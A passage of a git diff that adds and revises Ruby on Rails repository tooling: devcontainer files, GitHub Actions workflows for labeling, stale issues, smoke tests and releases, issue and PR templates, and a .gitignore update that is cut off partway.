diff --git a/.codeclimate.yml b/.codeclimate.yml
deleted file mode 100644
index 17fcaa436064a..0000000000000
--- a/.codeclimate.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-engines:
-  rubocop:
-    enabled: true
-
-ratings:
-  paths:
-  - "**.rb"
-
-exclude_paths:
-  - ci/
-  - guides/
-  - tasks/
-  - tools/
diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile
new file mode 100644
index 0000000000000..66f98384d2400
--- /dev/null
+++ b/.devcontainer/Dockerfile
@@ -0,0 +1,42 @@
+# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.191.1/containers/ruby/.devcontainer/base.Dockerfile
+
+# [Choice] Ruby version: 3.4, 3.3, 3.2
+ARG VARIANT="3.4.7"
+FROM ghcr.io/rails/devcontainer/images/ruby:${VARIANT}
+
+RUN sudo apt-get update && export DEBIAN_FRONTEND=noninteractive \
+    && sudo apt-get -y install --no-install-recommends \
+        mariadb-client libmariadb-dev \
+        postgresql-client postgresql-contrib libpq-dev \
+        ffmpeg mupdf mupdf-tools libvips-dev poppler-utils \
+        libxml2-dev sqlite3 imagemagick tzdata-legacy
+
+# Add the Rails main Gemfile and install the gems. This means the gem install can be done
+# during build instead of on start. When a fork or branch has different gems, we still have an
+# advantage due to caching of the other gems.
+RUN mkdir -p /tmp/rails
+COPY Gemfile Gemfile.lock RAILS_VERSION rails.gemspec package.json yarn.lock /tmp/rails/
+COPY actioncable/actioncable.gemspec /tmp/rails/actioncable/
+COPY actionmailbox/actionmailbox.gemspec /tmp/rails/actionmailbox/
+COPY actionmailer/actionmailer.gemspec /tmp/rails/actionmailer/
+COPY actionpack/actionpack.gemspec /tmp/rails/actionpack/
+COPY actiontext/actiontext.gemspec /tmp/rails/actiontext/
+COPY actionview/actionview.gemspec /tmp/rails/actionview/
+COPY activejob/activejob.gemspec /tmp/rails/activejob/
+COPY activemodel/activemodel.gemspec /tmp/rails/activemodel/
+COPY activerecord/activerecord.gemspec /tmp/rails/activerecord/
+COPY activestorage/activestorage.gemspec /tmp/rails/activestorage/
+COPY activesupport/activesupport.gemspec /tmp/rails/activesupport/
+COPY railties/railties.gemspec /tmp/rails/railties/
+COPY tools/releaser/releaser.gemspec /tmp/rails/tools/releaser/
+# Docker does not support COPY as users other than root. So we need to chown this dir so we
+# can bundle as vscode user and then remove the tmp dir
+RUN sudo chown -R vscode:vscode /tmp/rails
+USER vscode
+RUN cat <<-EOF > $HOME/.my.cnf && chmod 600 $HOME/.my.cnf
+[client]
+ssl=OFF
+EOF
+RUN cd /tmp/rails \
+    && bash -i -c 'bundle install' \
+    && rm -rf /tmp/rails
diff --git a/.devcontainer/boot.sh b/.devcontainer/boot.sh
new file mode 100755
index 0000000000000..ee03e3678a5e6
--- /dev/null
+++ b/.devcontainer/boot.sh
@@ -0,0 +1,18 @@
+#!/bin/sh
+
+bundle update --bundler
+bundle install
+
+if [ -n "${NVM_DIR}" ]; then
+  # shellcheck disable=SC1091
+  . "${NVM_DIR}/nvm.sh" && nvm install --lts
+  yarn install
+fi
+
+cd activerecord || { echo "activerecord directory doesn't exist"; exit; }
+
+# Create PostgreSQL databases
+bundle exec rake db:postgresql:rebuild
+
+# Create MySQL databases
+bundle exec rake db:mysql:rebuild
diff --git a/.devcontainer/compose.yaml b/.devcontainer/compose.yaml
new file mode 100644
index 0000000000000..2872f87dd19a3
--- /dev/null
+++ b/.devcontainer/compose.yaml
@@ -0,0 +1,57 @@
+services:
+  rails:
+    build:
+      context: ..
+      dockerfile: .devcontainer/Dockerfile
+
+    volumes:
+      - ../..:/workspaces:cached
+
+    # Overrides default command so things don't shut down after the process ends.
+    command: sleep infinity
+
+    depends_on:
+      - postgres
+      - mysql
+      - redis
+      - memcached
+
+    environment:
+      MYSQL_CODESPACES: "1"
+
+    # Use "forwardPorts" in **devcontainer.json** to forward an app port locally.
+    # (Adding the "ports" property to this file will not forward from a Codespace.)
+
+  postgres:
+    image: postgres:latest
+    restart: unless-stopped
+    volumes:
+      - postgres-data:/var/lib/postgresql
+    environment:
+      POSTGRES_USER: postgres
+      POSTGRES_DB: postgres
+      POSTGRES_PASSWORD: postgres
+
+  mysql:
+    image: mysql:latest
+    restart: unless-stopped
+    volumes:
+      - mysql-data:/var/lib/mysql
+    environment:
+      MYSQL_ROOT_PASSWORD: root
+
+  redis:
+    image: valkey/valkey:8
+    restart: unless-stopped
+    volumes:
+      - redis-data:/data
+
+  memcached:
+    image: memcached:latest
+    restart: unless-stopped
+    command: ["-m", "1024"]
+
+volumes:
+  postgres-data:
+  mysql-data:
+  redis-data:
diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
new file mode 100644
index 0000000000000..302b4c600027d
--- /dev/null
+++ b/.devcontainer/devcontainer.json
@@ -0,0 +1,49 @@
+// For format details, see https://containers.dev/implementors/json_reference/.
+{
+	"name": "Rails project development",
+	"dockerComposeFile": "compose.yaml",
+	"service": "rails",
+	"workspaceFolder": "/workspaces/${localWorkspaceFolderBasename}",
+
+	// Features to add to the dev container. More info: https://containers.dev/features.
+	"features": {
+		"ghcr.io/devcontainers/features/github-cli:1": {
+			"version": "latest"
+		},
+		"ghcr.io/devcontainers/features/node:1": {
+			"version": "latest"
+		},
+		"ghcr.io/rails/devcontainer/features/postgres-client:1.1.3": {
+			"version": "18"
+		}
+	},
+
+	"containerEnv": {
+		"PGHOST": "postgres",
+		"PGUSER": "postgres",
+		"PGPASSWORD": "postgres",
+		"MYSQL_HOST": "mysql",
+		"REDIS_URL": "redis://redis/0",
+		"MEMCACHE_SERVERS": "memcached:11211"
+	},
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// This can be used to network with other containers or the host.
+	// "forwardPorts": [3000, 5432],
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	"postCreateCommand": ".devcontainer/boot.sh",
+
+	// Configure tool-specific properties.
+	"customizations": {
+		"vscode": {
+			// Add the IDs of extensions you want installed when the container is created.
+			"extensions": [
+				"Shopify.ruby-lsp"
+			]
+		}
+	}
+
+	// Uncomment to connect as root instead. More info: https://containers.dev/implementors/json_reference/#remoteUser.
+	// "remoteUser": "root"
+}
diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs
new file mode 100644
index 0000000000000..7fede1e72571f
--- /dev/null
+++ b/.git-blame-ignore-revs
@@ -0,0 +1,86 @@
+# Changes that are cosmetic and do not add anything substantial
+# to the stability, functionality, or testability of Rails will
+# generally not be accepted. Read more about our rationale behind
+# this decision: https://github.com/rails/rails/pull/13771#issuecomment-32746700
+
+# normalizes indentation and whitespace across the project
+80e66cc4d90bf8c15d1a5f6e3152e90147f00772
+# applies new string literal convention in *
+adca8154c6ffce978a5dbc514273cceecbb15f8e
+9ed740449884ba5841f756c4a5ccc0bce8f19082
+92e2d16a3c75d549fcd9422a31acd3323b74abaa
+78d3f84955bccad0ab161c5f2b4c1133813161a3
+6b3719b7577ab81171bab94a0492ae383dd279fe
+8b4e6bf23338e2080af537ea4f295e65a1d11388
+783763bde97bea3d0c200038453008a8cfff1e88
+69ab3eb57e8387b0dd9d672b5e8d9185395baa03
+f8477f13bfe554064bd25a57e5289b4ebaabb504
+b678eb57e93423ac8e2a0cc0b083ce556c6fb130
+b91ff557ef6f621d1b921f358fd5b8a5d9e9090e
+c3e7abddfb759eecb30cd59f27103fda4c4827dc
+35b3de8021e68649cac963bd82a74cc75d1f60f0
+628e51ff109334223094e30ad1365188bbd7f9c6
+4b6c68dfb810c836f87587a16353317d1a180805
+66a7cfa91045e05f134efc9ac0e226e66161e2e6
+bde6547bb6a8ddf18fb687bf20893d3dc87e0358
+93c9534c9871d4adad4bc33b5edc355672b59c61
+4c208254573c3428d82bd8744860bd86e1c78acb
+18a2513729ab90b04b1c86963e7d5b9213270c81
+9617db2078e8a85c8944392c21dd748f932bbd80
+4df2b779ddfcb27761c71e00e2b241bfa06a0950
+a731125f12c5834de7eae3455fad63ea4d348034
+d66e7835bea9505f7003e5038aa19b6ea95ceea1
+e6ab70c439301d533f14b3387ee181d843a86b30
+# modernizes hash syntax in *
+1607ee299d15c133b2b63dcfc840eddfba7e525b
+477568ee33bee0dc5e57b9df624142296e3951a4
+5c315a8fa6296904f5e0ba8da919fc395548cf98
+d22e522179c1c90e658c3ed0e9b972ec62306209
+fa911a74e15ef34bb435812f7d9cf7324253476f
+301ce2a6d11bc7a016f7ede71e3c6fd9fa0693a3
+63fff600accb41b56a3e6ac403d9b1732de3086d
+5b6eb1d58b48fada298215b2cccda89f993890c3
+12a70404cd164008879e63cc320356e6afee3adc
+60b67d76dc1d98e4269aac7705e9d8323eb42942
+# [Tests only] Enable Minitest/AssertPredicate rule
+19f8ab2e7d60dcdfd7664d6bea3a9fae55a3618c
+# Standardize nodoc comments
+18707ab17fa492eb25ad2e8f9818a320dc20b823
+# Add Style/RedundantFreeze to remove redudant .freeze
+aa3dcabd874a3e82e455e85a1c94a7abaac2900a
+# Enable Performance/UnfreezeString cop
+1b86d90136efb98c7b331a84ca163587307a49af
+# Arel: rubocop -a
+4c0a3d48804a363c7e9272519665a21f601b5248
+# Add more rubocop rules about whitespaces
+fe1f4b2ad56f010a4e9b93d547d63a15953d9dc2
+# Add three new rubocop rules
+55f9b8129a50206513264824abb44088230793c2
+# applies remaining conventions across the project
+b326e82dc012d81e9698cb1f402502af1788c1e9
+# remove redundant curlies from hash arguments
+411ccbdab2608c62aabdb320d52cb02d446bb39c
+# Deletes trailing whitespaces (over text files only find * -type f -exec sed 's/[ \t]*$//' -i {} ;)
+b95d6e84b00bd926b1118f6a820eca7a870b8c35
+b451de0d6de4df6bc66b274cec73b919f823d5ae
+# Replace assert ! with assert_not
+a1ac18671a90869ef81d02f2eafe8104e4eea34f
+# Use respond_to test helpers
+0d50cae996c51630361e8514e1f168b0c48957e1
+#  Change refute to assert_not
+211adb47e76b358ea15a3f756431c042ab231c23
+# Use assert_predicate and assert_not_predicate
+94333a4c31bd10c1f358c538a167e6a4589bae2d
+# Use assert_empty and assert_not_empty
+82c39e1a0b5114e2d89a80883a41090567a83196
+# Remove extra whitespace
+fda1863e1a8c120294c56482631d8254ad6125ff
+# Reduce string objects by using \ instead of + or << for concatenating strings
+b70fc698e157f2a768ba42efac08c08f4786b01c
+# Hash Syntax to 1.9 related changes
+eebb9ddf9ba559a510975c486fe59a4edc9da97d
+be4a4cd38ff2c2db0f6b69bb72fb3557bd5a6e21
+d20a52930aa80d7f219465d6fc414a68b16ef2a8
+3c580182ff3c16d2247aabc85100bf8c6edb0f82
+5ad7f8ab418f0c760dbb584f7c78d94ce32e9ee3
+a2c843885470dddbad9430963190464a22167921
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
new file mode 100644
index 0000000000000..b5ed405b02670
--- /dev/null
+++ b/.github/CODEOWNERS
@@ -0,0 +1 @@
+.rubocop.yml    @rafaelfranca
diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 0000000000000..fdefb6a67e9d9
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,28 @@
+---
+name: Bug report
+about: Report an issue with Rails you've discovered
+---
+
+### Steps to reproduce
+
+<!-- (Guidelines for creating a bug report are [available
+here](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#creating-a-bug-report)) -->
+
+<!-- Paste your executable test case created from one of the scripts found [here](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#create-an-executable-test-case) below: -->
+```ruby
+# Your reproduction script goes here
+```
+
+### Expected behavior
+
+<!-- Tell us what should happen -->
+
+### Actual behavior
+
+<!-- Tell us what happens instead -->
+
+### System configuration
+
+**Rails version**: 
+
+**Ruby version**: 
diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml
new file mode 100644
index 0000000000000..3ba13e0cec6cb
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/config.yml
@@ -0,0 +1 @@
+blank_issues_enabled: false
diff --git a/.github/issue_template.md b/.github/issue_template.md
deleted file mode 100644
index 2d071d4a716f1..0000000000000
--- a/.github/issue_template.md
+++ /dev/null
@@ -1,15 +0,0 @@
-### Steps to reproduce
-
-(Guidelines for creating a bug report are [available
-here](http://guides.rubyonrails.org/contributing_to_ruby_on_rails.html#creating-a-bug-report))
-
-### Expected behavior
-Tell us what should happen
-
-### Actual behavior
-Tell us what happens instead
-
-### System configuration
-**Rails version**:
-
-**Ruby version**:
diff --git a/.github/labeler.yml b/.github/labeler.yml
new file mode 100644
index 0000000000000..b9d0d268fc062
--- /dev/null
+++ b/.github/labeler.yml
@@ -0,0 +1,42 @@
+actioncable:
+- changed-files:
+  - any-glob-to-any-file: "actioncable/**/*"
+actionmailbox:
+- changed-files:
+  - any-glob-to-any-file: "actionmailbox/**/*"
+actionmailer:
+- changed-files:
+  - any-glob-to-any-file: "actionmailer/**/*"
+actionpack:
+- changed-files:
+  - any-glob-to-any-file: "actionpack/**/*"
+actiontext:
+- changed-files:
+  - any-glob-to-any-file: "actiontext/**/*"
+actionview:
+- changed-files:
+  - any-glob-to-any-file: "actionview/**/*"
+activejob:
+- changed-files:
+  - any-glob-to-any-file: "activejob/**/*"
+activemodel:
+- changed-files:
+  - any-glob-to-any-file: "activemodel/**/*"
+activerecord:
+- changed-files:
+  - any-glob-to-any-file: "activerecord/**/*"
+activestorage:
+- changed-files:
+  - any-glob-to-any-file: "activestorage/**/*"
+activesupport:
+- changed-files:
+  - any-glob-to-any-file: "activesupport/**/*"
+rails-ujs:
+- changed-files:
+  - any-glob-to-any-file: "actionview/app/assets/javascripts/rails-ujs/**/*"
+railties:
+- changed-files:
+  - any-glob-to-any-file: "railties/**/*"
+docs:
+- changed-files:
+  - any-glob-to-any-file: "guides/**/*"
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
index 214d63740c199..fd53fc45a39de 100644
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -1,21 +1,45 @@
-### Summary
+<!--
+Thanks for contributing to Rails!
 
-Provide a general description of the code changes in your pull
-request... were there any bugs you had fixed? If so, mention them. If
-these bugs have open GitHub issues, be sure to tag them here as well,
-to keep the conversation linked together.
+Please do not make *Draft* pull requests, as they still send
+notifications to everyone watching the Rails repo.
 
-### Other Information
+Create a pull request when it is ready for review and feedback
+from the Rails team :).
 
-If there's anything else that's important and relevant to your pull
-request, mention that information here. This could include
-benchmarks, or other information.
+If your pull request affects documentation or any non-code
+changes, guidelines for those changes are [available
+here](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation)
 
-If you are updating any of the CHANGELOG files or are asked to update the
-CHANGELOG files by reviewers, please add the CHANGELOG entry at the top of the file.
+About this template
 
-Finally, if your pull request affects documentation or any non-code
-changes, guidelines for those changes are [available
-here](http://guides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation)
+The following template aims to help contributors write a good description for their pull requests.
+We'd like you to provide a description of the changes in your pull request (i.e. bugs fixed or features added), the motivation behind the changes, and complete the checklist below before opening a pull request.
 
-Thanks for contributing to Rails!
+Feel free to discard it if you need to (e.g. when you just fix a typo). -->
+
+### Motivation / Background
+
+<!--
+Describe why this Pull Request needs to be merged. What bug have you fixed? What feature have you added? Why is it important?
+If you are fixing a specific issue, include "Fixes #ISSUE" (replace with the issue number, remove the quotes) and the issue will be linked to this PR.
+-->
+
+This Pull Request has been created because [REPLACE ME]
+
+### Detail
+
+This Pull Request changes [REPLACE ME]
+
+### Additional information
+
+<!-- Provide additional information such as benchmarks, references to other repositories, or alternative solutions. -->
+
+### Checklist
+
+Before submitting the PR make sure the following are checked:
+
+* [ ] This Pull Request is related to one change. Unrelated changes should be opened in separate PRs.
+* [ ] Commit message has a detailed description of what changed and why. If this PR fixes a related issue include it in the commit message. Ex: `[Fix #issue-number]`
+* [ ] Tests are added or updated if you fix a bug or add a feature.
+* [ ] CHANGELOG files are updated for the changed libraries if there is a behavior change or additional feature. Minor bug fixes and documentation changes should not be included.
diff --git a/.github/security.md b/.github/security.md
new file mode 100644
index 0000000000000..dc32fb3a0da2e
--- /dev/null
+++ b/.github/security.md
@@ -0,0 +1,12 @@
+# Security Policy
+
+## Reporting a Vulnerability
+
+**Do not open up a GitHub issue if the bug is a security vulnerability in Rails**.
+Instead, refer to our [security policy](https://rubyonrails.org/security).
+
+## Supported Versions
+
+Security backports are provided for some previous release series. For details
+of which release series are currently receiving security backports see our
+[security policy](https://rubyonrails.org/security).
diff --git a/.github/workflows/devcontainer-shellcheck.yml b/.github/workflows/devcontainer-shellcheck.yml
new file mode 100644
index 0000000000000..4bc4cb5faad49
--- /dev/null
+++ b/.github/workflows/devcontainer-shellcheck.yml
@@ -0,0 +1,24 @@
+name: Devcontainer Shellcheck
+
+on:
+  pull_request:
+    paths:
+      - ".devcontainer/**/*.sh"
+  push:
+    paths:
+      - ".devcontainer/**/*.sh"
+
+permissions:
+  contents: read
+
+jobs:
+  devcontainer_shellcheck:
+    name: Devcontainer Shellcheck
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout (GitHub)
+        uses: actions/checkout@v6
+
+      - name: Lint Devcontainer Scripts
+        run: |
+          find .devcontainer/ -name '*.sh' -print0 | xargs -0 shellcheck
diff --git a/.github/workflows/devcontainer-smoke-test.yml b/.github/workflows/devcontainer-smoke-test.yml
new file mode 100644
index 0000000000000..dd02a7daaa29e
--- /dev/null
+++ b/.github/workflows/devcontainer-smoke-test.yml
@@ -0,0 +1,99 @@
+name: Devcontainer smoke test
+
+on: push
+
+jobs:
+  build:
+    name: Devcontainer smoke test
+
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      packages: write
+    strategy:
+      fail-fast: false
+
+    steps:
+      - name: Checkout (GitHub)
+        uses: actions/checkout@v6
+
+      - name: Login to GitHub Container Registry
+        uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
+        with:
+          registry: ghcr.io
+          username: ${{ github.repository_owner }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: 3.4
+          bundler-cache: true
+
+      - name: Generate rails app sqlite3
+        run: bundle exec railties/exe/rails new myapp_sqlite --database="sqlite3" --dev --devcontainer
+
+      - name: Test devcontainer sqlite3
+        uses: devcontainers/ci@8bf61b26e9c3a98f69cb6ce2f88d24ff59b785c6 # v0.3.1900000417
+        with:
+          subFolder: myapp_sqlite
+          imageName: ghcr.io/rails/smoke-test-devcontainer
+          cacheFrom: ghcr.io/rails/smoke-test-devcontainer
+          imageTag: sqlite3
+          push: ${{ github.repository == 'rails/rails' && 'filter' || 'never' }}
+          refFilterForPush: refs/heads/main
+          runCmd: bin/rails g scaffold Post && bin/rails db:migrate && bin/rails test
+
+      - name: Stop all containers
+        run: docker ps -q | xargs docker stop
+
+      - name: Generate rails app postgresql
+        run: bundle exec railties/exe/rails new myapp_postgresql --database="postgresql" --dev --devcontainer
+
+      - name: Test devcontainer postgresql
+        uses: devcontainers/ci@8bf61b26e9c3a98f69cb6ce2f88d24ff59b785c6 # v0.3.1900000417
+        with:
+          subFolder: myapp_postgresql
+          imageName: ghcr.io/rails/smoke-test-devcontainer
+          cacheFrom: ghcr.io/rails/smoke-test-devcontainer
+          imageTag: postgresql
+          push: ${{ github.repository == 'rails/rails' && 'filter' || 'never' }}
+          refFilterForPush: refs/heads/main
+          runCmd: bin/rails g scaffold Post && bin/rails db:migrate && bin/rails test && bin/rails test:system
+
+      - name: Stop all containers
+        run: docker ps -q | xargs docker stop
+
+      - name: Generate rails app mysql
+        run: bundle exec railties/exe/rails new myapp_mysql --database="mysql" --dev --devcontainer
+
+      - name: Test devcontainer mysql
+        uses: devcontainers/ci@8bf61b26e9c3a98f69cb6ce2f88d24ff59b785c6 # v0.3.1900000417
+        with:
+          subFolder: myapp_mysql
+          imageName: ghcr.io/rails/smoke-test-devcontainer
+          cacheFrom: ghcr.io/rails/smoke-test-devcontainer
+          imageTag: mysql
+          push: ${{ github.repository == 'rails/rails' && 'filter' || 'never' }}
+          refFilterForPush: refs/heads/main
+          runCmd: bin/rails g scaffold Post && bin/rails db:migrate && bin/rails test
+
+      - name: Stop all containers
+        run: docker ps -q | xargs docker stop
+
+      - name: Generate rails app trilogy
+        run: bundle exec railties/exe/rails new myapp_trilogy --database="trilogy" --dev --devcontainer
+
+      - name: Test devcontainer trilogy
+        uses: devcontainers/ci@8bf61b26e9c3a98f69cb6ce2f88d24ff59b785c6 # v0.3.1900000417
+        with:
+          subFolder: myapp_trilogy
+          imageName: ghcr.io/rails/smoke-test-devcontainer
+          cacheFrom: ghcr.io/rails/smoke-test-devcontainer
+          imageTag: trilogy
+          push: ${{ github.repository == 'rails/rails' && 'filter' || 'never' }}
+          refFilterForPush: refs/heads/main
+          runCmd: bin/rails g scaffold Post && bin/rails db:migrate && bin/rails test
+
+      - name: Stop all containers
+        run: docker ps -q | xargs docker stop
diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml
new file mode 100644
index 0000000000000..ae48b12554d25
--- /dev/null
+++ b/.github/workflows/labeler.yml
@@ -0,0 +1,24 @@
+name: "rails-bot: Label PRs"
+on:
+  # This event runs in the context of the base of the pull request, rather than
+  # in the context of the merge commit, as the pull_request event does. This
+  # prevents execution of unsafe code from the head of the pull request that
+  # could alter your repository or steal any secrets you use in your workflow.
+  # This event allows your workflow to do things like label or comment on pull
+  # requests from forks. Avoid using this event if you need to build or run
+  # code from the pull request.
+  #
+  # https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#pull_request_target
+  pull_request_target:
+
+jobs:
+  labeler:
+    permissions:
+      contents: read
+      pull-requests: write
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/labeler@v5
+        with:
+          repo-token: ${{ secrets.GITHUB_TOKEN }}
+
diff --git a/.github/workflows/more-info-needed.yml b/.github/workflows/more-info-needed.yml
new file mode 100644
index 0000000000000..37bf30ffc4f40
--- /dev/null
+++ b/.github/workflows/more-info-needed.yml
@@ -0,0 +1,27 @@
+name: "rails-bot: More Info Needed"
+
+on:
+  schedule:
+    - cron: "0 0 * * *"
+
+jobs:
+  more-info-needed:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      issues: write
+    steps:
+    - uses: actions/stale@v9
+      with:
+        repo-token: ${{ secrets.GITHUB_TOKEN }}
+        days-before-stale: -1
+        days-before-close: 14
+        operations-per-run: 100
+        stale-issue-label: "more-information-needed"
+        close-issue-message: >
+          This issue has been automatically closed because there has been no follow-up
+          response from the original author. We currently don't have enough
+          information in order to take action. Please reach out if you have any additional
+          information that will help us move this issue forward.
+        only-labels: "more-information-needed"
+        only-pr-labels: false
diff --git a/.github/workflows/rail_inspector.yml b/.github/workflows/rail_inspector.yml
new file mode 100644
index 0000000000000..5d0bdba3b3c65
--- /dev/null
+++ b/.github/workflows/rail_inspector.yml
@@ -0,0 +1,27 @@
+name: Rail Inspector
+
+on:
+  pull_request:
+    paths:
+    - "tools/rail_inspector/**"
+  push:
+    paths:
+    - "tools/rail_inspector/**"
+
+permissions:
+  contents: read
+
+jobs:
+  rail_inspector:
+    name: rail_inspector tests
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+      - name: Remove Gemfile.lock
+        run: rm -f Gemfile.lock
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: 3.4
+          bundler-cache: true
+      - run: cd tools/rail_inspector && bundle exec rake
diff --git a/.github/workflows/rails-new-docker.yml b/.github/workflows/rails-new-docker.yml
new file mode 100644
index 0000000000000..a85765bac999b
--- /dev/null
+++ b/.github/workflows/rails-new-docker.yml
@@ -0,0 +1,50 @@
+name: rails-new-docker
+
+on: [push, pull_request]
+
+permissions:
+  contents: read
+
+env:
+  APP_NAME: devrails
+  APP_PATH: dev/devrails
+  BUNDLE_WITHOUT: db:job:cable:storage
+
+jobs:
+  rails-new-docker:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v6
+    - name: Remove Gemfile.lock
+      run: rm -f Gemfile.lock
+    - name: Set up Ruby
+      uses: ruby/setup-ruby@v1
+      with:
+        ruby-version: 3.4
+        bundler-cache: true
+    - name: Generate --dev app
+      run: |
+        bundle exec railties/exe/rails new $APP_PATH --dev
+    - name: Build image
+      run: |
+        podman build -t $APP_NAME \
+        -v $(pwd):$(pwd) \
+        -f ./$APP_PATH/Dockerfile \
+        ./$APP_PATH
+    - name: Run container
+      run: |
+        podman run --name $APP_NAME \
+        --user root \
+        -v $(pwd):$(pwd) \
+        -e SECRET_KEY_BASE_DUMMY=1 \
+        -e DATABASE_URL=sqlite3:storage/production.sqlite3 \
+        -p 3000:3000 $APP_NAME &
+    - name: Test container
+      run: ruby -r ./.github/workflows/scripts/test-container.rb
+
+    - uses: zzak/action-discord@4cd181470664aa174b7252e5afb2ecf896001817 # v8
+      continue-on-error: true
+      if: failure() && github.ref_name == 'main'
+      with:
+        github-token: ${{ secrets.GITHUB_TOKEN }}
+        webhook: ${{ secrets.DISCORD_WEBHOOK }}
diff --git a/.github/workflows/rails_releaser_tests.yml b/.github/workflows/rails_releaser_tests.yml
new file mode 100644
index 0000000000000..2f291e283c657
--- /dev/null
+++ b/.github/workflows/rails_releaser_tests.yml
@@ -0,0 +1,29 @@
+name: Rails releaser tests
+
+on:
+  pull_request:
+    paths:
+    - "tools/releaser/**"
+  push:
+    paths:
+    - "tools/releaser/**"
+
+permissions:
+  contents: read
+
+jobs:
+  releaser_tests:
+    name: releaser tests
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: actions/checkout@v6
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: ruby
+      - name: Bundle install
+        run: bundle install
+        working-directory: tools/releaser
+      - run: bundle exec rake
+        working-directory: tools/releaser
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
new file mode 100644
index 0000000000000..89d96fc6ca395
--- /dev/null
+++ b/.github/workflows/release.yml
@@ -0,0 +1,41 @@
+name: Release
+
+on:
+  release:
+    types: [published]
+
+jobs:
+  release:
+    permissions:
+      contents: write
+      id-token: write
+
+    environment: release
+
+    runs-on: ubuntu-latest
+
+    steps:
+    - uses: actions/checkout@v6
+    - name: Set up Ruby
+      uses: ruby/setup-ruby@v1
+      with:
+        ruby-version: ruby
+    - uses: actions/setup-node@v4
+      with:
+        node-version: lts/*
+        registry-url: 'https://registry.npmjs.org'
+    - name: Configure trusted publishing credentials
+      uses: rubygems/configure-rubygems-credentials@v1.0.0
+    # Ensure npm 11.5.1 or later is installed
+    - name: Update npm
+      run: npm install -g npm@latest
+    - name: Bundle install
+      run: bundle install
+      working-directory: tools/releaser
+    - name: Run release rake task
+      run: bundle exec rake push
+      shell: bash
+      working-directory: tools/releaser
+    - name: Wait for release to propagate
+      run: gem exec rubygems-await pkg/*.gem
+      shell: bash
diff --git a/.github/workflows/scripts/test-container.rb b/.github/workflows/scripts/test-container.rb
new file mode 100644
index 0000000000000..1ebecd2aa3c21
--- /dev/null
+++ b/.github/workflows/scripts/test-container.rb
@@ -0,0 +1,29 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+# Based on Sam Ruby's system test from dockerfile-rails:
+# https://github.com/rubys/dockerfile-rails/pull/21
+
+require "net/http"
+require "socket"
+
+LOCALHOST = Socket.gethostname
+PORT = 3000
+
+60.times do |i|
+  sleep 0.5
+  begin
+    response = Net::HTTP.get_response(LOCALHOST, "/up", PORT)
+
+    if %w(404 500).include? response.code
+      status = response.code.to_i
+    end
+
+    puts response.body
+    exit status || 0
+  rescue SystemCallError, IOError
+    puts "#{i}/60 Connection to #{LOCALHOST}:#{PORT} refused or timed out, retrying..."
+  end
+end
+
+exit 999
diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
new file mode 100644
index 0000000000000..6fbbc6c33b25e
--- /dev/null
+++ b/.github/workflows/stale.yml
@@ -0,0 +1,33 @@
+name: "rails-bot: Stale Issues"
+on:
+  schedule:
+    - cron: '0 * * * *'
+
+jobs:
+  stale:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      issues: write
+    steps:
+      - uses: actions/stale@v9
+        with:
+          repo-token: ${{ secrets.GITHUB_TOKEN }}
+          days-before-stale: 90
+          days-before-close: 7
+          operations-per-run: 100
+          exempt-milestones: true
+          exempt-issue-labels: 'pinned,security,With reproduction steps,attached PR,regression,release blocker,more-information-needed'
+          stale-issue-label: 'stale'
+          stale-pr-label: 'stale'
+          exempt-all-milestones: true
+          stale-issue-message: >
+            This issue has been automatically marked as stale because it has not been commented on for at least three months.
+
+            The resources of the Rails team are limited, and so we are asking for your help.
+
+            If you can still reproduce this error on the `8-1-stable` branch or on `main`,
+            please reply with all of the information you have about it in order to keep the issue open.
+
+            Thank you for all your contributions.
+          only-pr-labels: false
diff --git a/.gitignore b/.gitignore
index 4961ad588f1e8..91ec62d2f9a7a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,22 +1,21 @@
-# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore.
+# Don't put *.swp, *.bak, etc here; those belong in a global .gitignore.
 # Check out https://help.github.com/articles/ignoring-files for how to set that up.
 
 .Gemfile
 .ruby-version
-.byebug_history
-debug.log
-pkg
+/*/doc/
+/*/test/tmp/
 /.bundle
-/dist
-/doc/rdoc
-/*/doc
-/*/test/tmp
-/activerecord/sqlnet.log
-/activemodel/test/fixtures/fixture_database.sqlite3
-/activesupport/test/fixtures/isolation_test
